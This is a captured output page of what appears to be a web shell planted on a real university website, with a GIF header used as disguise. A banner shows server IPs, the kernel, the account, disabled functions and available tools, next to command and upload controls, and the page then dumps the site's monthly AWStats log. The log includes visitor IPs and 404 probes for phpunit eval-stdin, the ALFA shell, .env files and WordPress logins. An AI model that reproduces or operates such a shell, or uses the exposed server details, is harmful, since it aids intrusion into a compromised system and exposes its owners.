GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.14.135.82
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0700) :  /home/jnclnmuac/public_html/web/../.well-known/../../tmp/awstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../.well-known/../../tmp/awstats/awstats062023.jnclnmu.ac.in.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202306 will be lost/reset.
# Last config file used to build this data file was /home/jnclnmuac/tmp/awstats/awstats.jnclnmu.ac.in.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2011                
POS_TIME 2672                
POS_VISITOR 15014               
POS_DAY 19318               
POS_DOMAIN 3437                
POS_LOGIN 3856                
POS_ROBOT 4011                
POS_WORMS 4343                
POS_EMAILSENDER 4474                
POS_EMAILRECEIVER 4617                
POS_SESSION 20047               
POS_SIDER 20205               
POS_FILETYPES 4752                
POS_DOWNLOADS 4982                
POS_OS 9904                
POS_BROWSER 10134               
POS_SCREENSIZE 10840               
POS_UNKNOWNREFERER 10914               
POS_UNKNOWNREFERERBROWSER 11622               
POS_ORIGIN 12080               
POS_SEREFERRALS 12217               
POS_PAGEREFS 12457               
POS_SEARCHWORDS 12605               
POS_KEYWORDS 12757               
POS_MISC 2336                
POS_ERRORS 12816               
POS_CLUSTER 3712                
POS_SIDER_404 12902               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230701012435 3 343 14875279602245
FirstTime 0
LastTime 20230630034458
LastUpdate 20230701121601 3 0 2 0 0
TotalVisits 113                 
TotalUnique 103                 
MonthHostsKnown 0                   
MonthHostsUnknown 109                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
TotalMisc 0 0 0
JavaEnabled 0 0 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
AddToFavourites 0 0 0
DirectorSupport 0 0 0
RealPlayerSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 3 3 117531 21 25 199358
1 6 6 235062 25 29 124763
2 1 3 222205 6 11 894183
3 10 70 330466 45 48 206163
4 4 4 156708 22 27 87483
5 15 36 3357607 4 11 1340700
6 9 48 5799096 12 13 95273
7 4 46 5762025 10 12 224661
8 8 74 2833816 1 4 258572
9 5 6 287399 22 30 243424
10 19 96 11623505 38 39 81155
11 3 4 188525 3 5 112795
12 6 7 287399 30 35 202618
13 0 0 0 8 14 262827
14 7 8 345233 5 9 1332904
15 1 1 0 3 6 1838862
16 27 27 1057779 12 29 310221
17 9 9 352593 44 50 1148753
18 8 8 313416 4 8 170392
19 11 12 462764 24 28 130806
20 10 10 332073 25 30 654197
21 7 7 253719 21 23 498439
22 4 4 138159 22 26 707170
23 3 3 117531 27 28 189344
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 14
us 97 187 9182496
jp 27 27 992635
ru 14 14 425358
in 14 171 22505708
ca 11 11 419349
nl 4 4 117531
gr 3 3 117531
gb 3 3 117531
be 2 4 261382
cn 2 5 313719
bg 1 1 39177
es 1 1 39177
de 1 1 39177
zz 0 60 3840
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 5
bingbot/ 111 10478883 20230630121252 0
DuckDuckGo\-Favicons\-Bot/ 8 522764 20230627161934 0
no_user_agent 6 235062 20230625005716 0
survey 1 39177 20230604231006 0
Googlebot/ 1 39177 20230610031317 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 9
png 45 1672323 0 0
jpg 72 21482952 0 0
js 70 1977310 0 0
css 60 3003040 0 0
html 150 5522458 0 0
gif 5 7355 0 0
txt 60 3840 0 0
php 20 455713 0 0
woff2 10 449620 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 70
/.well-known/pki-validation/F73FF78A9B824734D3FE2324B393EE7F.txt 1 0 64
/.well-known/pki-validation/F901EFCB8CBE5F006379BA71FB98183D.txt 1 0 64
/.well-known/pki-validation/3C27D5AE0071B6331E72A89E0D482106.txt 1 0 64
/.well-known/pki-validation/1BE3A326E81301BDA585F02AE9B8805D.txt 1 0 64
/admin/notice/paper_20210616020712_1915.pdf 1 0 1324316
/.well-known/pki-validation/EBFB64AF071914657BD65C709A857E54.txt 1 0 64
/.well-known/pki-validation/4CCBCD084216F4419DBFB6B764969785.txt 1 0 64
/.well-known/pki-validation/591EAC9677B1E5493C64EC6540BFC2CF.txt 1 0 64
/.well-known/pki-validation/A0AE4B308E1B37F520E500D11B91B344.txt 1 0 64
/.well-known/pki-validation/DED90F22B9F71C60FB3F45872EA3257C.txt 1 0 64
/.well-known/pki-validation/B86EAAA5B7785FE1DBA696B62EA085E4.txt 1 0 64
/.well-known/pki-validation/A5796D8E1BE582A77A9F2999BAF9B4CF.txt 1 0 64
/.well-known/pki-validation/4D803464C380DA89989618FC28D97557.txt 1 0 64
/.well-known/pki-validation/60190968229063288366720A668FA90E.txt 1 0 64
/.well-known/pki-validation/F50F9F42485E4FAFDA0C4FA3EDA8B367.txt 1 0 64
/.well-known/pki-validation/D5EFAC3AF2F4602AFA11A74DCD3BF212.txt 1 0 64
/.well-known/pki-validation/49517C77E57C31D9D18664DA37C807C1.txt 1 0 64
/.well-known/pki-validation/3FE31EBDA9A007EE04BBF5ECEA47C267.txt 1 0 64
/.well-known/pki-validation/E6830A4951CF235EE298C09EA0FA5F69.txt 1 0 64
/.well-known/pki-validation/6AEBCFA8EEE41276CB9FEBECB5D42718.txt 1 0 64
/.well-known/pki-validation/185FCC0B1D0FA52AA6D56301FCB00801.txt 1 0 64
/.well-known/pki-validation/40CF0F00A941338AC0D433E336041CAD.txt 1 0 64
/pdf/SC%202017.pdf 1 0 511448
/.well-known/pki-validation/D374B164CCFD1B76B56D6B1FC6A3D1C6.txt 1 0 64
/admin/notice/aaaaaa.pdf 1 0 438857
/.well-known/pki-validation/7275DA5DA88528B27E89672FF6E96F8C.txt 1 0 64
/.well-known/pki-validation/CEFA35E6B022EE2CB9D4DBC4B87171E9.txt 1 0 64
/.well-known/pki-validation/A16B22BD05394BF1BA12AC69B11B0929.txt 1 0 64
/.well-known/pki-validation/FE5D5B3CFB668F30F22DB793E5306A23.txt 1 0 64
/.well-known/pki-validation/6DB038D9B7FD83483D26EDDBD762D840.txt 1 0 64
/.well-known/pki-validation/DD022242EA2C93DFC23CC1ADDAB11680.txt 1 0 64
/.well-known/pki-validation/4C18B54B6A7345948E3C3612CE93561F.txt 1 0 64
/.well-known/pki-validation/6C56EC989ADCE226A588692EAFBBCA49.txt 1 0 64
/.well-known/pki-validation/1E7EB1C33A27864F015525BB0EB2420A.txt 1 0 64
/.well-known/pki-validation/82B55C751A31577CFB8EA86C0883BFDC.txt 1 0 64
/.well-known/pki-validation/DE1EA67DA9E9EEA0D6CEB68C969F9BEC.txt 1 0 64
/.well-known/pki-validation/01376ABD3A23B13842C752A52BE4CD26.txt 1 0 64
/.well-known/pki-validation/B734D53D92C99F8BB17866D183786E08.txt 1 0 64
/.well-known/pki-validation/96CD05E12608ADAE56214DDC3FA0EA01.txt 1 0 64
/.well-known/pki-validation/054C329A4B24A629D628DDC0A7F883EC.txt 1 0 64
/.well-known/pki-validation/291633178E593B431E2B40DBC002C65C.txt 1 0 64
/admin/pdf/20221217073213Course%20Outcome%202018-19.pdf 1 0 955163
/.well-known/pki-validation/00F1278B92EC1F7E6E68A0E5D6BEBAFC.txt 1 0 64
/admin/notice/Notice%2015.05.2023%20001.pdf 1 0 236396
/.well-known/pki-validation/C05CC0CF25189932FB747F6A5D6C2822.txt 1 0 64
/admin/notice/Wi-Fi%20Notice%20001-min.pdf 1 0 277637
/.well-known/pki-validation/66B9DAA8E9579B29D10DCA0EC7E617F6.txt 1 0 64
/.well-known/pki-validation/EF1952675590CC331FFCDBDB5E313452.txt 1 0 64
/.well-known/pki-validation/56C857C5F32322462EB88F6CB95AD478.txt 1 0 64
/.well-known/pki-validation/EE719E264EAF3CF6B91CFBBB92AEAF99.txt 1 0 64
/.well-known/pki-validation/00C99161B2FE818DCEB9831D7610EEC9.txt 1 0 64
/admin/pdf/2022121611060216-17.pdf 1 0 307363
/.well-known/pki-validation/75959503DE5D49B6D40985B495963523.txt 1 0 64
/.well-known/pki-validation/416B568BA0EAC48164F866D119161F64.txt 1 0 64
/.well-known/pki-validation/FA0AE82110AA2EFF81221F972E748F7B.txt 1 0 64
/.well-known/pki-validation/76EA4D6E306B0F92A659A43CD617FDE6.txt 1 0 64
/.well-known/pki-validation/1E59092FBE8366F954E74AC23314E88B.txt 1 0 64
/.well-known/pki-validation/9EE07BBF1B1785FA825FBE6A1A9C6F0E.txt 1 0 64
/.well-known/pki-validation/61D526257E97A366B1E96B27323F9948.txt 1 0 64
/.well-known/pki-validation/260B3EC5891CB7963AFC398A04C35919.txt 1 0 64
/.well-known/pki-validation/241A27A56176F0169EA25929D23796D5.txt 1 0 64
/.well-known/pki-validation/55678C72BCF03BF18C0921341E14D1B3.txt 1 0 64
/.well-known/pki-validation/F300C56F5463325ABDCF0ED80198960F.txt 1 0 64
/admin/notice/Univ.%20letter%20no.%206431%20dated%2014.06.2021.pdf 1 0 1782850
/admin/notice/press%20release_online%20class%20for%20Physics.pdf 1 0 37283
/.well-known/pki-validation/3F987F6CC0FCE8F9A878E17D59125905.txt 1 0 64
/admin/notice/paper_20210621064251_2530.pdf 1 0 346628
/.well-known/pki-validation/45A87F6EBC2F01734F1598F2227063F0.txt 1 0 64
/.well-known/pki-validation/1D3BC4FC74735C11270726F42D5CC3EC.txt 1 0 64
/.well-known/pki-validation/E8F2F884EAA81C0E2818AEC7DD62222A.txt 1 0 64
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 12
macosx7 2 0
macosx10 1 1
android10 45 4
Unknown 112 26
macosx 1 1
androidkitkat 2 2
macosx15 81 15
macosx11 1 1
androidnougat 2 2
win10 192 76
linux 45 45
win7 8 7
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 30
chrome27.0.1453.93 1 1
chrome103.0.0.0 8 8
chrome103.0.5060.66 2 2
chrome91.0.4472.114 76 10
chrome103.0.5060.114 2 2
mozilla 41 16
chrome113.0.0.0 45 7
chrome114.0.0.0 130 11
chrome40.0.2214.93 1 1
chrome83.0.4103.97 32 32
chrome90.0.4430.85 4 4
chrome17.0.963.56 2 0
chrome60.0.3112.107 2 2
firefox47.0 1 1
chrome109.0.0.0 5 5
firefox40.0 1 1
chrome89.0.4389.114 3 3
chrome39.0.2171.95 1 1
chrome80.0.3987.162 1 1
chrome78.0.3904.108 24 24
chrome81.0.4044.129 2 2
chrome80.0.3987.149 15 15
chrome63.0.3239.132 1 0
chrome84.0.4147.105 2 2
chrome88.0.4240.193 3 3
chrome108.0.0.0 11 11
android 2 2
Unknown 71 10
chrome110.0.0.0 2 2
chrome95.0.4638.69 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 7
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20230629021517
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230627102930
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20230613110230
COMODO_DCV 20230630033735
axios/1.4.0 20230630145150
python-requests/2.28.2 20230613145824
Mozilla/5.0_(compatible;_Dataprovider.com) 20230616055620
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 4
axios/1.4.0 20230630145150
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230627102930
python-requests/2.28.2 20230613145824
COMODO_DCV 20230630033735
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 145 213
From1 5 5
From2 6 6
From3 0 0
From4 24 268
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 5
in_search_yahoo_com 1 1
search_yahoo_com 1 1
duckduckgo 1 1
www_bing_com 2 2
www_google_com 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 1
404 396 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 56
/humans.txt 1 -
/blog/wp-includes/wlwmanifest.xml 16 -
/librarycell.php 1 -
/repeater.php 3 -
/ads.txt 1 -
/admin/controller/extension/extension/ 2 binance.com
/wordpress/wp-login.php 2 http://jnclnmu.ac.in
/wp-content/cong.php 1 www.google.com
//wp-content/themes/seotheme/db.php 3 -
/2020/wp-includes/wlwmanifest.xml 3 -
/web/wp-includes/wlwmanifest.xml 16 -
/robots.txt 22 -
/blog/wp-login.php 2 http://jnclnmu.ac.in
/test/wp-includes/wlwmanifest.xml 17 -
/2018/wp-includes/wlwmanifest.xml 13 -
/wp-includes/wlwmanifest.xml 18 -
/sito/wp-includes/wlwmanifest.xml 16 -
/alfacgiapi/perl.alfa 1 www.google.com
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/sitemap.txt 2 -
/wp-admin/css/ 2 binance.com
/wp1/wp-includes/wlwmanifest.xml 17 -
/uploads/ 2 binance.com
/shop/wp-includes/wlwmanifest.xml 17 -
/sites/default/files/ 2 binance.com
/xmlrpc.php 17 -
/index.html 2 -
/2019/wp-includes/wlwmanifest.xml 16 -
/news/wp-includes/wlwmanifest.xml 15 -
/cms/wp-includes/wlwmanifest.xml 17 -
/media/wp-includes/wlwmanifest.xml 13 -
/.env 6 -
/class_api.php 1 -
/wp-content/ 1 -
/site/wp-includes/wlwmanifest.xml 17 -
/feed/ 1 -
/website/wp-includes/wlwmanifest.xml 15 -
/wp-admin/css/colors/coffee/index.php 1 -
/wordpress/wp-includes/wlwmanifest.xml 16 -
/sendgrid/.env 1 -
/ALFA_DATA/alfacgiapi/perl.alfa 1 www.google.com
/wp-login.php 22 -
/public/_ignition/health-check/ 3 -
/wp2/wp-includes/wlwmanifest.xml 16 -
/2021/wp-includes/wlwmanifest.xml 1 -
/wp/wp-includes/wlwmanifest.xml 16 -
/fwffptqd.php 1 www.google.com
/files/ 2 binance.com
/sitemap.xml 3 -
/.well-known/security.txt 1 -
/wp-plain.php 1 www.google.com
/wp-includes/ID3/license.txt 1 -
/security.txt 1 -
/wp/wp-login.php 2 http://jnclnmu.ac.in
/_ignition/health-check/ 3 -
//wp-admin/css/colors/blue/blue.php 2 www.google.com
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 109
62.122.184.194 10 10 289170 20230611192552
149.56.160.200 10 10 231923 20230616055530
3.21.21.145 7 73 2794639 20230619085504
43.153.222.121 6 6 235062 20230602100821
139.99.78.98 6 6 235062 20230612193959
43.159.61.31 6 6 235062 20230608031944
101.0.62.220 5 44 5707532 20230624065351
170.106.195.19 3 3 117531 20230608234331
43.134.102.53 3 3 117531 20230628174028
139.99.223.204 3 3 117531 20230612211204
223.235.63.222 3 42 5629178 20230629103849
43.153.216.217 3 3 117531 20230606172149
43.156.164.7 3 3 117531 20230611202158
43.156.184.119 3 3 117531 20230602003440
74.84.150.150 3 3 78354 20230621060455
106.207.38.65 3 44 5631334 20230622070137
49.44.78.75 3 41 5537664 20230629103854
149.56.150.86 3 24 3047330 20230616055620
178.128.218.104 3 3 117531 20230605121749
52.159.101.21 3 3 117531 20230611221338
139.162.62.206 3 3 117531 20230603102408
104.167.221.206 2 2 39177 20230620080646
20.219.129.228 2 2 13210 20230611060215
77.246.101.39 2 2 57834 20230616214534
15.204.182.106 2 2 78354 20230607172656
183.136.225.46 1 2 130691 20230604191313
35.92.126.189 1 1 39177 20230620164121
198.235.24.196 1 1 39177 20230624050244
54.218.118.124 1 1 39177 20230602163121
34.217.177.225 1 1 39177 20230624160736
198.235.24.129 1 1 39177 20230606165921
34.219.42.109 1 1 39177 20230617161354
54.203.194.223 1 1 39177 20230605183253
34.222.218.171 1 1 39177 20230620164140
104.238.137.193 1 1 18657 20230614111058
54.201.60.39 1 1 39177 20230617161503
34.216.68.236 1 1 39177 20230615162501
54.213.119.210 1 1 39177 20230625164903
87.236.176.146 1 1 39177 20230606122113
95.214.27.13 1 1 39177 20230612190418
54.212.215.179 1 1 39177 20230623164533
54.184.164.81 1 1 39177 20230617161309
185.181.60.12 1 1 39177 20230622203944
35.87.230.106 1 1 39177 20230624010744
34.212.20.126 1 1 39177 20230622141920
45.81.39.204 1 1 39177 20230622104357
35.208.11.114 1 1 39177 20230623113442
52.37.39.182 1 1 39177 20230617161431
34.211.49.239 1 1 39177 20230619163853
146.70.117.56 1 1 39177 20230630034458
205.210.31.73 1 1 39177 20230606061625
54.190.9.171 1 1 39177 20230625164828
142.93.147.185 1 1 39177 20230621194529
164.92.132.144 1 1 39177 20230623191340
198.235.24.153 1 1 39177 20230612212551
159.203.97.182 1 1 39177 20230629202341
134.209.126.36 1 1 39177 20230613185808
128.199.154.194 1 1 39177 20230627182809
35.90.188.173 1 1 39177 20230618162331
18.246.57.234 1 1 39177 20230628160405
205.210.31.158 1 1 39177 20230620072355
52.10.219.104 1 1 39177 20230624160705
87.236.176.83 0 1 91514 
167.94.138.125 1 2 130691 20230612094550
101.199.254.203 0 1 91514 
198.235.24.73 1 1 39177 20230602212103
159.65.55.239 1 1 39177 20230615200614
54.213.147.45 1 1 39177 20230628160327
43.156.144.133 1 1 39177 20230610094928
172.104.42.97 1 1 39177 20230622143621
35.89.102.106 1 1 39177 20230619163926
104.248.198.63 1 1 39177 20230611095259
35.164.73.251 1 1 39177 20230615162534
34.211.28.13 1 1 39177 20230622141948
43.130.114.184 2 2 13210 20230617035702
54.245.175.26 1 1 39177 20230623165001
87.236.176.151 1 1 39177 20230613110229
198.235.24.243 1 1 39177 20230602144659
54.202.120.53 1 1 39177 20230601182844
35.187.98.121 1 1 39177 20230613145824
15.235.9.75 1 1 20628 20230624225422
34.220.133.251 1 1 39177 20230625164949
174.138.68.207 1 1 39177 20230625192621
169.150.196.90 1 1 39177 20230613124938
42.192.4.129 1 1 0 20230619203645
142.93.235.76 1 1 39177 20230619200759
167.94.138.124 1 2 130691 20230629021516
84.243.196.168 1 1 0 20230609121129
54.185.89.34 1 1 39177 20230625164917
146.190.82.60 1 1 39177 20230617183757
87.236.176.65 0 1 91514 
137.184.36.20 1 1 39177 20230611103031
152.67.231.34 2 2 78354 20230625092413
198.235.24.59 1 1 39177 20230610013833
62.141.44.236 1 1 39177 20230613042606
35.92.120.125 1 1 39177 20230623165041
193.32.87.48 1 1 39177 20230611050807
54.191.66.220 1 1 39177 20230605183220
68.235.43.173 1 1 39177 20230618034405
54.189.243.141 1 1 39177 20230602163143
35.90.106.191 1 1 39177 20230618162301
34.213.219.116 1 1 39177 20230623164458
101.199.254.199 0 1 91514 
34.219.14.92 1 1 39177 20230601182915
172.26.1.232 0 60 3840 
185.181.60.189 1 1 39177 20230604183922
52.203.23.91 0 1 91514 
198.235.24.208 1 1 27579 20230627102930
85.217.144.20 1 1 39177 20230620173623
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 30
20230601 4 6 78482 4
20230602 14 16 548606 8
20230603 3 5 117659 1
20230604 5 8 287527 3
20230605 5 7 196013 3
20230606 6 9 326704 4
20230607 4 6 136316 2
20230608 8 10 293024 3
20230609 6 8 175493 3
20230610 2 4 78482 2
20230611 15 17 481599 8
20230612 9 12 444235 5
20230613 5 9 379041 5
20230614 1 3 18785 1
20230615 3 5 117659 3
20230616 15 38 3337215 3
20230617 7 9 209223 6
20230618 3 5 117659 3
20230619 11 79 2912298 5
20230620 5 7 196013 5
20230621 2 4 78482 2
20230622 8 52 5918861 6
20230623 6 8 235190 6
20230624 10 51 5884996 6
20230625 7 9 274367 6
20230626 0 2 128 0
20230627 2 4 66884 2
20230628 5 7 196013 3
20230629 8 88 11336838 4
20230630 1 4 130819 1
END_DAY

# Session range - Number of visits
BEGIN_SESSION 2
30s-2mn 2
0s-30s 111
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 15
/ 144 5473182 109 97
/contact-us.php 8 149256 0 6
/assets/bootstrap/fonts/glyphicons-halflings-regular.woff2 5 90140 0 3
/assets/font-awesome/fonts/fontawesome-webfont5b62.woff2 5 359480 0 1
/index.php 4 156708 0 1
/about.php 3 61884 1 1
/images/ 2 24830 0 2
/.well-known/ 2 1590 2 0
/nss.php 1 18211 0 0
/faq.php 1 18607 0 0
/feedback.php 1 16957 0 1
/contact-us.php/ 1 18657 1 1
/teacher.php 1 17166 0 0
/admin/ 1 4199 0 0
/ccell.php 1 16924 0 0
END_SIDER

KBHT - 2023